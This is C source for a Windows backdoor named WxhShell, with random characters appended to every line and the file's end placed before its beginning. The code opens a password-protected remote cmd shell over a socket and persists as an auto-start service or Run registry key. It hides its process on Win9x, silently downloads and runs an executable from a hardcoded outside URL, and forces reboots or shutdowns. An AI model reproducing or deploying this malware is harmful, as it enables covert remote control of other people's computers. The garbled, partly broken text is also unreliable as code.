    if(Boot(SHUTDOWN)) 5w1[KO#K|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,R =VzP&  
    else { ~\G3 l,4  
    closesocket(wsh); sD3|Qj;  
    ExitThread(0); xH[yIfHkG@  
    } __iyBaX  
    break; \^4$}@*]  
    } (FYJ^o  
  // 获取shell i|^6s87"N2  
  case 's': { EvmmQ  
    CmdShell(wsh); 1W[(+TZ&s  
    closesocket(wsh); Q9>]@DrAx  
    ExitThread(0); 3@?YTez#  
    break; ~Wm}M  
  } 5,ahKB8  
  // 退出 l7!)#^`2_  
  case 'x': { )+,jal^7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9`{2h$U  
    CloseIt(wsh); Rk[ * p  
    break; 9Ol_z\5  
    } CM1a<bV<  
  // 离开 `=DCX%Vw  
  case 'q': { 8|NJ(D-$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); yo,!u\^x  
    closesocket(wsh); r&sOM_BUF  
    WSACleanup(); Q$L(fH kw  
    exit(1); 8Jj0-4]  
    break; np^<HfYV  
        } p'k+0=  
  }  7~nCK  
  } E0]h|/A]  
z44~5J]  
  // 提示信息 SYPMoE!U:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3&fFIab9  
} /*^|5>-`i1  
  } Z;\"pP:  
~J{[]wi  
  return; WUS9zK  
} m@u`$rOh  
E_1I|$  
// shell模块句柄 A]%t0>EL<  
int CmdShell(SOCKET sock) i?dKmRp(@y  
{ S)@vl^3ec  
STARTUPINFO si; ld}$Tsy0  
ZeroMemory(&si,sizeof(si)); A i){,nh`0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >wO$Vu `t  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "nno)~)u  
PROCESS_INFORMATION ProcessInfo; _i@eOqoC  
char cmdline[]="cmd"; B~z g"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =L),V~b  
  return 0; /'fDXSdP  
} {WeXURp&nF  
`lezJ (Xm  
// 自身启动模式 s[@>uP  
int StartFromService(void) 89#0vG7m  
{ =e8L7_;  
typedef struct n o+tVm|  
{ M.N~fSJ   
  DWORD ExitStatus; S} Cp&}G{P  
  DWORD PebBaseAddress; R 0HVLQI  
  DWORD AffinityMask; .]s( c!{y  
  DWORD BasePriority; 2 RUR=%C  
  ULONG UniqueProcessId; EvQwGt1)P  
  ULONG InheritedFromUniqueProcessId; ZNpExfGEU  
}   PROCESS_BASIC_INFORMATION; {V% O4/  
Ca@=s  
PROCNTQSIP NtQueryInformationProcess; QsJW"4d  
0&IXzEOr  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; RrdtU7i3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; L"!ZY  
~!:Sp_y  
  HANDLE             hProcess; JOx ,19r  
  PROCESS_BASIC_INFORMATION pbi; k+#l;<\2  
5vX 8mPR_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _<RR`  
  if(NULL == hInst ) return 0; =Z .V+4+  
i(yAmo9h  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); L\wpS1L(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); J7wQ=! g  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Dnm.!L8  
:@%-f:iDj  
  if (!NtQueryInformationProcess) return 0; L@n6N|[_  
F:o #  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); I,4-  
  if(!hProcess) return 0; ,o@~OTja*  
27E9NO=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,' r L'Ys  
?t0zsq  
  CloseHandle(hProcess); ;s\;78`0  
-N7L #a  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \btR^;_\A  
if(hProcess==NULL) return 0; #>m, Cm  
 ;[KriW  
HMODULE hMod; `o8{qU,*]N  
char procName[255]; q X%vRf0  
unsigned long cbNeeded; n~)HfY  
rH&r6Xv[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %:w% o$  
"4ozlWx  
  CloseHandle(hProcess); s w.AfRQP  
EhIV(q9x  
if(strstr(procName,"services")) return 1; // 以服务启动 A?IZ( Zx(`  
S`@6c$y k  
  return 0; // 注册表启动 H8-D'q>R  
} *M&VqG4P9w  
3_\{[_W  
// 主模块 ,> (bt%b  
int StartWxhshell(LPSTR lpCmdLine) }x?H ~QQT  
{ 1KYbL8c  
  SOCKET wsl; p37zz4  
BOOL val=TRUE; ,]uX:h-EM  
  int port=0; )0U3w#,JQ  
  struct sockaddr_in door; !<=%;+  
EN-H4F  
  if(wscfg.ws_autoins) Install(); ?#*  
v=*Bb3dt  
port=atoi(lpCmdLine); 5&<d2EG6l'  
3cCK"kr  
if(port<=0) port=wscfg.ws_port; 88#qu.  
hk@`N;dn  
  WSADATA data; B]|6`UfB  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8{G?92 {rN  
 t$H':l0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   pdi=6<?bd  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); lbB.*oQ  
  door.sin_family = AF_INET; Rct"\{V')n  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); T1(j l)  
  door.sin_port = htons(port); &8]#RQy{f  
3_L1Wm  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { xz"Z3B  
closesocket(wsl); ke}Y 2sB  
return 1; r}oURy,5  
} 4FIV  
3"'# |6O9  
  if(listen(wsl,2) == INVALID_SOCKET) { MjQ[^%lfL  
closesocket(wsl); QOT)x4!)  
return 1; Ns.3s7&  
} r*6"'W>c6  
  Wxhshell(wsl); ;V(H7 ZM  
  WSACleanup(); ){+[$@9  
h"u<E\g  
return 0; 'T)Or,d  
m%oGzx+  
} msc 1^2  
OB?SkR  
// 以NT服务方式启动 kRN|TDx(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) : F7k{~  
{ b8N[."~:  
DWORD   status = 0; ).NcLJw_  
  DWORD   specificError = 0xfffffff; CJ9cCtA  
%XJQ0CE<(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; w.J%qWJq  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; GSz @rDGY  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; K,eqD<  
  serviceStatus.dwWin32ExitCode     = 0; U#;51 _  
  serviceStatus.dwServiceSpecificExitCode = 0; HQ^9 [HN.  
  serviceStatus.dwCheckPoint       = 0; v)@,:u)  
  serviceStatus.dwWaitHint       = 0; <I7(eh6d  
{H=oxa  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :cc[Jco@w  
  if (hServiceStatusHandle==0) return; %bIsrQ~B  
/~i.\^HX  
status = GetLastError(); Gr5`1`8|  
  if (status!=NO_ERROR) ZjU=~)O}H  
{ GA|/7[I}  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; JsmbW|t^  
    serviceStatus.dwCheckPoint       = 0; /x  
    serviceStatus.dwWaitHint       = 0; bKk CW  
    serviceStatus.dwWin32ExitCode     = status; [1z{T(dh  
    serviceStatus.dwServiceSpecificExitCode = specificError; brg":V1a  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;".z[l*  
    return; klgv{_b  
  } n$.1Wk"  
l60ikc4$I  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; g!1I21M1~  
  serviceStatus.dwCheckPoint       = 0; \f(Y:}9  
  serviceStatus.dwWaitHint       = 0; C(-[ Y!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); aGPqh,<QD  
} uu}a:qrY  
1P_Fe[8  
// 处理NT服务事件,比如:启动、停止  5ZnSA9?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) O6yP qG*j  
{ $d'CBsu|<  
switch(fdwControl) {]&R8?%  
{ JAc@S20v\  
case SERVICE_CONTROL_STOP: pO"m~mpA  
  serviceStatus.dwWin32ExitCode = 0; R{*_1cyW  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; U r^YG4(  
  serviceStatus.dwCheckPoint   = 0; q}>M& *  
  serviceStatus.dwWaitHint     = 0; 3YR* ^  
  { 6#<Ir @z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); c}\ ' x5:o  
  } U? 8i'5)  
  return; B-!guf rnY  
case SERVICE_CONTROL_PAUSE: VR "u*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; hIR@^\?  
  break; qh%i5Mu  
case SERVICE_CONTROL_CONTINUE: oG!6}5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "?$L'!bM@  
  break; A&N$tH  
case SERVICE_CONTROL_INTERROGATE: !q!"UMiG  
  break; %fHH{60  
}; 1|W2s\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ('=Z }~  
} ytEQ`  
Iq+2mQi*/k  
// 标准应用程序主函数 I?^aCnU  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &a.']!$^"  
{ M9gOoYf,~  
y)P&]&"?  
// 获取操作系统版本 c8T/4hU MN  
OsIsNt=GetOsVer(); Tru c[A.2Z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Zw+=ng.q?  
8pqs?L@W  
  // 从命令行安装 Gc wt7~  
  if(strpbrk(lpCmdLine,"iI")) Install(); FtE90=$  
^Sw2xT$p{j  
  // 下载执行文件 \H^;'agA  
if(wscfg.ws_downexe) { veV_be{i  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) oWI!u 5  
  WinExec(wscfg.ws_filenam,SW_HIDE); }@wVW))6$  
} #+$ zE#je  
k=e`*LB\  
if(!OsIsNt) { &1P(O\ d  
// 如果时win9x,隐藏进程并且设置为注册表启动 F"I*-!o  
HideProc(); y>`5Kyj3-@  
StartWxhshell(lpCmdLine); G%;kGi`m  
} IAYACmlN&  
else ]a M-p@  
  if(StartFromService()) ((qGh>*  
  // 以服务方式启动 }"hW b(  
  StartServiceCtrlDispatcher(DispatchTable); ] @ufV  
else > V8sm/M  
  // 普通方式启动 M;qBDT~)  
  StartWxhshell(lpCmdLine); )Bo]=ZTJ^  
gSb,s [p&+  
return 0; )T9~8p.  
} P/G>/MD/l  
^}J<)}Q  
sZKEUSFD #  
RB [/q:  
=========================================== [_V:)  
syR N4  
iA9 E^  
nWk e#{[  
~T% Ui#Gc  
e9 *lixh  
" E:)Cp  
:5jexz."M  
#include <stdio.h> BX*69  
#include <string.h> zd.'*Dj  
#include <windows.h> L/yaVU{aEb  
#include <winsock2.h> r_^)1w  
#include <winsvc.h> Tpb"uBiXoo  
#include <urlmon.h> E~qQai=]  
g rspt}  
#pragma comment (lib, "Ws2_32.lib") t{zBC?c R  
#pragma comment (lib, "urlmon.lib") *jE;9^  
->h5T%sn  
#define MAX_USER   100 // 最大客户端连接数 h,t:]  
#define BUF_SOCK   200 // sock buffer P3!Atnv2  
#define KEY_BUFF   255 // 输入 buffer q6R Eh;$  
Cc Y7$D  
#define REBOOT     0   // 重启 NO2(vE  
#define SHUTDOWN   1   // 关机 Vc _:*  
W qE '(  
#define DEF_PORT   5000 // 监听端口 IB8gDP2  
gqfDa cDJL  
#define REG_LEN     16   // 注册表键长度 6J\fF tB@V  
#define SVC_LEN     80   // NT服务名长度 >La><.z~  
i'=2Y9S}  
// 从dll定义API ,5{$+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 'C^;OjAg  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); p?JQ[K7i  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Z/g]o#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 'OD) v  
h)cY])tGtK  
// wxhshell配置信息 :b@igZ<  
struct WSCFG { [pL*@9Sa&  
  int ws_port;         // 监听端口 O%&cE*eX  
  char ws_passstr[REG_LEN]; // 口令 L5f$TLw h;  
  int ws_autoins;       // 安装标记, 1=yes 0=no :RiF3h(  
  char ws_regname[REG_LEN]; // 注册表键名 FshC )[w,  
  char ws_svcname[REG_LEN]; // 服务名 : y1Bt+Fp  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 '1-maM\r  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =ewyQ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 aCl A{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no g*J@[y;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~x#vZ=]8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 N}x9N.  
|55dbL$w  
}; JNi=`X&A  
"}zt`3  
// default Wxhshell configuration +rc SL8C  
struct WSCFG wscfg={DEF_PORT, Q|c|2byb  
    "xuhuanlingzhe", i%F<AY\O)  
    1, Z!_n_F k  
    "Wxhshell", n Q-mmY>#  
    "Wxhshell", "VTF}#Uo  
            "WxhShell Service", )R &,'`\  
    "Wrsky Windows CmdShell Service", DpvrMI~I_  
    "Please Input Your Password: ", <#*.}w~  
  1, ^~1<f1(  
  "http://www.wrsky.com/wxhshell.exe", wd+K`I/v7h  
  "Wxhshell.exe" I 8z G~L%"  
    }; d:rGyA]  
$FX,zC<=  
// 消息定义模块 g`[$Xi R  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; IPtvuEju\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; x+7*ADKb  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; l'"'o~MC  
char *msg_ws_ext="\n\rExit."; v0LGdX)/Y  
char *msg_ws_end="\n\rQuit.";  prrT:Y  
char *msg_ws_boot="\n\rReboot..."; nB] Ia?  
char *msg_ws_poff="\n\rShutdown..."; wxdyF&U n  
char *msg_ws_down="\n\rSave to "; :kG)sw7  
iKAusWj  
char *msg_ws_err="\n\rErr!"; 3i=Iu0  
char *msg_ws_ok="\n\rOK!"; |8U;m:AS  
!Z|($21W  
char ExeFile[MAX_PATH]; qINTCm j  
int nUser = 0; izuF !9  
HANDLE handles[MAX_USER]; ,b|-rU\  
int OsIsNt; Ch5+N6c^  
:NE/Ddgc'  
SERVICE_STATUS       serviceStatus; K0Tg|9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; x?sI;kUw8  
,H[SI0];  
// 函数声明 J=H)JH3  
int Install(void); GLUUY0  
int Uninstall(void); Ow/@Z7~  
int DownloadFile(char *sURL, SOCKET wsh); <]U1\~j  
int Boot(int flag); /XbW<dfl  
void HideProc(void); c^9tYNn  
int GetOsVer(void); #ekM"p  
int Wxhshell(SOCKET wsl); ea9oakF  
void TalkWithClient(void *cs); )(TAT<  
int CmdShell(SOCKET sock); G;1?<3   
int StartFromService(void); uQ3[Jz`y  
int StartWxhshell(LPSTR lpCmdLine); goZ V.,w  
<Ef[c@3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :dwt1>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); e.vtEQV9  
lr3mE  
// 数据结构和表定义 d%ME@6K)  
SERVICE_TABLE_ENTRY DispatchTable[] = nc?B6IV  
{ z]@6fM[  
{wscfg.ws_svcname, NTServiceMain}, c$h9/H=~  
{NULL, NULL} s\3q!A?S3  
}; &JhX +'U  
cUk*C  
// 自我安装 >*1}1~uU`'  
int Install(void) qTmD '2  
{ | C+o;  
  char svExeFile[MAX_PATH]; VR0=SE  
  HKEY key; tef^ShF]  
  strcpy(svExeFile,ExeFile); QG3&p<  
)^x K   
// 如果是win9x系统,修改注册表设为自启动 vhgLcrn  
if(!OsIsNt) { |yY`s6Uq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NNkP\oh\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8@\7&C(g17  
  RegCloseKey(key); "![L#)"s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?Bx./t><  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]A+o>#n}x  
  RegCloseKey(key); JL^2l$up  
  return 0; ',=g;  
    } zP)~a  
  } ~ 'Vxg}  
} D4u% 6R|F  
else { WAPhv-6  
S#l5y%&  
// 如果是NT以上系统,安装为系统服务 \'v(Xp6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Z-X?JA\&  
if (schSCManager!=0) [f{VIE*?%  
{ nJFg^s 1  
  SC_HANDLE schService = CreateService !8RwO%c(  
  ( ^ c%N/V \  
  schSCManager, {D`T0qPT[  
  wscfg.ws_svcname, osP\D iQ  
  wscfg.ws_svcdisp, $l[Rh1z`;+  
  SERVICE_ALL_ACCESS, H9 tXSh  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , A\sI<WrH  
  SERVICE_AUTO_START, 7 hw .B'7  
  SERVICE_ERROR_NORMAL, 04@cLDX8uB  
  svExeFile, =xN= #  
  NULL, -:Rp'SJ  
  NULL, EL{vFP  
  NULL, Dr#c)P~Wd  
  NULL, 8Ogv9  
  NULL F -gE<<  
  ); =;L*<I  
  if (schService!=0) uGP(R=H  
  { >Aq:K^D/3F  
  CloseServiceHandle(schService); zJN7<sv  
  CloseServiceHandle(schSCManager); BlC<`2S  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); xL "!~dN  
  strcat(svExeFile,wscfg.ws_svcname); =:I+6PlF@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,H kj1x  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); z j{s}*  
  RegCloseKey(key); Yl^mAS[w&  
  return 0; _}6q{}jn:c  
    } dJk9@u  
  } ,!QV>=  
  CloseServiceHandle(schSCManager); ;0%OB*lcgE  
} LlYTv% I  
} 2I'~2o  
gzn^#3b  
return 1; 6g:|*w  
} WcUJhi^\C  
!36]ud&  
// 自我卸载 !cX[-}Q  
int Uninstall(void) YTaLjITG  
{ R^&q-M=O[  
  HKEY key; 8Cx^0  
KOSM]c\H  
if(!OsIsNt) { YK#fa2ng  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Dl\`  
  RegDeleteValue(key,wscfg.ws_regname); b1?xeG#  
  RegCloseKey(key); =d`5f@'rl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *f+: <=i  
  RegDeleteValue(key,wscfg.ws_regname); /bRg?Q  
  RegCloseKey(key); Xl-e !  
  return 0; :l\V'=%9'@  
  } :l u5Uu~  
} *ZCn8m:-+  
} _2ef LjXQ  
else { $.E6S<(h  
-G|a*^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); P ,mN >  
if (schSCManager!=0) Gu0 ,)jy\  
{ # TkR  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3R$Z[D-  
  if (schService!=0) 'Prxocxq  
  { Ri*3ySyb  
  if(DeleteService(schService)!=0) { tln37vq  
  CloseServiceHandle(schService); 5]Ajf;W\  
  CloseServiceHandle(schSCManager); }FqA ppr  
  return 0; r?$ ?;%|C  
  } ))h6~1`  
  CloseServiceHandle(schService); dFXc/VH')  
  } W7No ls{  
  CloseServiceHandle(schSCManager); ki]ti={12  
} N_C;&hJN$w  
} 9)dfL?x8V{  
$% k1fa C  
return 1; $4=f+ "z  
} AONDx3[   
2'0K WYM  
// 从指定url下载文件 uKr1Z2  
int DownloadFile(char *sURL, SOCKET wsh) io2)1cE&f  
{ R!\EK H  
  HRESULT hr;  Ukz;0q  
char seps[]= "/"; 9"{W,'r&d  
char *token; j7QX ,_Q  
char *file; `TLzVB-j3  
char myURL[MAX_PATH]; {tP%epQ  
char myFILE[MAX_PATH]; /B3R1kNf|  
E>jh"|f:{  
strcpy(myURL,sURL); a}yXC<}$  
  token=strtok(myURL,seps); &dB-r&4;+  
  while(token!=NULL) %q 3$|>  
  { coE&24,0  
    file=token; V >-b`e  
  token=strtok(NULL,seps); y2L#:[8  
  } }ut]\]b  
iP@6hG`:  
GetCurrentDirectory(MAX_PATH,myFILE); iPG0o %  
strcat(myFILE, "\\"); hf6f.Z  
strcat(myFILE, file); )$%Z:  
  send(wsh,myFILE,strlen(myFILE),0); 6 ,ANNj  
send(wsh,"...",3,0); _u0$,Y?&|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); nSx8E7 |V  
  if(hr==S_OK)  (t^n'V  
return 0; ~EiH-z4U  
else n||A" @b\  
return 1; ?i\;:<e4  
uYI@ 9U  
} }ET,ysa  
,~PYt*X4  
// 系统电源模块 4<,|*hAT  
int Boot(int flag) ;F:fM!l=  
{ vsB*rP=  
  HANDLE hToken; ;i uQ?MR3  
  TOKEN_PRIVILEGES tkp; . RVVWqW  
n 1b(\PA  
  if(OsIsNt) { dhPKHrS  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); XUMX*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); w&h 2y4  
    tkp.PrivilegeCount = 1; &7mW9]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Q[n\R@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3Mjj' 5KH!  
if(flag==REBOOT) { ~`8hwR1&z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) yc;3Id5?>  
  return 0; xg`h40c  
} '=E9En#@  
else { imB#Eo4eY  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5v.DX`"  
  return 0; <~U4*  
} gwkb!#A  
  } |H}sYp  
  else { @r^!{  
if(flag==REBOOT) { q}|U4MJm  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) M+>`sj  
  return 0;  %V G/  
} b]Kk2S/  
else { 6(&Y(/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `1` f*d v  
  return 0; <Cpp?DW_  
} rt7<Q47QE  
} ^WYQ]@rh3  
QWnndI_4p  
return 1; R@ Y=o].2  
} >u +q1j.  
ZM#=`k9  
// win9x进程隐藏模块 _m E^rT  
void HideProc(void) 3k$[r$+"  
{ 2/P"7A=<  
Et2JxbD  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); shC;hR&;  
  if ( hKernel != NULL ) :t$aN|>y  
  { ihe(F7\U  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9v )%dO.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); R,2=&+ e  
    FreeLibrary(hKernel); D>L2o88  
  } K<sC F[  
WKM)*@#,  
return; hn)a@  
} . 9G<y 4  
4R%*Z ~  
// 获取操作系统版本 \YJy#2K  
int GetOsVer(void) tq50fq'  
{ /TQ}} YVw  
  OSVERSIONINFO winfo; <lxD}DH=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 10[Jl5+t  
  GetVersionEx(&winfo); yq[Cq=rBk  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) n| O [a6G  
  return 1; yqOuX>m1c  
  else Yj(4&&Q  
  return 0; 7^TV~E#  
} faXx4A2"  
Tpp&  
// 客户端句柄模块 G\gMC <3  
int Wxhshell(SOCKET wsl) /?-7Fg+,  
{ 6R UrF  
  SOCKET wsh; 34|a\b}  
  struct sockaddr_in client; Gi6T["  
  DWORD myID; XkmQBV"  
HjNxqaljt  
  while(nUser<MAX_USER) Btt]R  
{ Yd cK&{  
  int nSize=sizeof(client); er.L7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); al9.}  
  if(wsh==INVALID_SOCKET) return 1; uwIc963  
R>@uY( >dJ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Vn=qV3OE]  
if(handles[nUser]==0) KLQTKMNv  
  closesocket(wsh); 2GmpCy`L"  
else mY!iu(R1  
  nUser++; ?dZt[vAMn  
  } 9 t n!t  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); N[|Nxm0z/C  
X~.f7Ao[  
  return 0; &xZyM@  
} ~`#-d ^s:  
OK|qv[  
// 关闭 socket .S\&L-{  
void CloseIt(SOCKET wsh) xFv;1Q  
{ JOn yrks  
closesocket(wsh); 4JIYbb-a'  
nUser--; th5g\h%j*  
ExitThread(0); Wo$%9!W  
} 8euZTfK9e  
cTZ.}eLh  
// 客户端请求句柄 ,hxkk`  
void TalkWithClient(void *cs) \[2lvft!  
{ $gle8Z-  
>?W[PQ5yx  
  SOCKET wsh=(SOCKET)cs; &Bb<4R  
  char pwd[SVC_LEN]; @+,pN6}g  
  char cmd[KEY_BUFF]; L];y}]:F*  
char chr[1]; [f~N_G6I^o  
int i,j; o/cjXun*  
^,Ydr~|T  
  while (nUser < MAX_USER) { <oMUQ*OtV  
4B+9z^oQ  
if(wscfg.ws_passstr) { CDy^UQb  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $WQq? 1.9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TB6m0qX(  
  //ZeroMemory(pwd,KEY_BUFF); >"3>s%  
      i=0; O!1TthI  
  while(i<SVC_LEN) { <msxHw  
s$h] G[x  
  // 设置超时 !7B\Xl'S  
  fd_set FdRead; 0pe3L   
  struct timeval TimeOut; +0z 7KO%^^  
  FD_ZERO(&FdRead); d?,M/$h  
  FD_SET(wsh,&FdRead); _+f+`]iM  
  TimeOut.tv_sec=8; D]! aT+  
  TimeOut.tv_usec=0; %Tn#-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {.e=qQ%P5)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :q##fG 'm/  
iP~,n8W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *y[PNqyd  
  pwd=chr[0]; %T`U^ Pnr  
  if(chr[0]==0xd || chr[0]==0xa) { =wu*D5  
  pwd=0; 5m$2Ku  
  break; i@"e,7mSG  
  } o;F" {RZ  
  i++; a5'#j35  
    } |Yi)"-  
^{@!['  
  // 如果是非法用户,关闭 socket pe0x""K  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ft{[ae?4  
} Si}HX!s  
t-%Q`V=[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [V# r7a  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^S)TO}e  
ri~<~oB 2:  
while(1) { 1r[@(c0  
)QKf7 [:  
  ZeroMemory(cmd,KEY_BUFF); {C*\O)Gep  
u9-nt}hGYM  
      // 自动支持客户端 telnet标准   "7%:sty  
  j=0; omZO+=8Q  
  while(j<KEY_BUFF) { -PB[-CX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [^H"FA[  
  cmd[j]=chr[0]; v"u^M-_  
  if(chr[0]==0xa || chr[0]==0xd) { ][PzgzG  
  cmd[j]=0; ~o3Hdd_#}N  
  break; }WFf''Z-  
  } }7<5hn E  
  j++; Zwt;d5U  
    } D6D1S/:ij'  
3-s}6<0v1  
  // 下载文件 9W*+SlH@ !  
  if(strstr(cmd,"http://")) { 6Q|k7*,B  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $*[{J+t_  
  if(DownloadFile(cmd,wsh)) :y]Omp  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \@a$'   
  else  Rxpn~QQ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >PKBo  
  } ]pA(K?Lbg  
  else { ytEC   
H( -Y  
    switch(cmd[0]) { eZhPu'id\s  
  C@y8.#l  
  // 帮助 M s9E@E  
  case '?': { qgt[~i*  
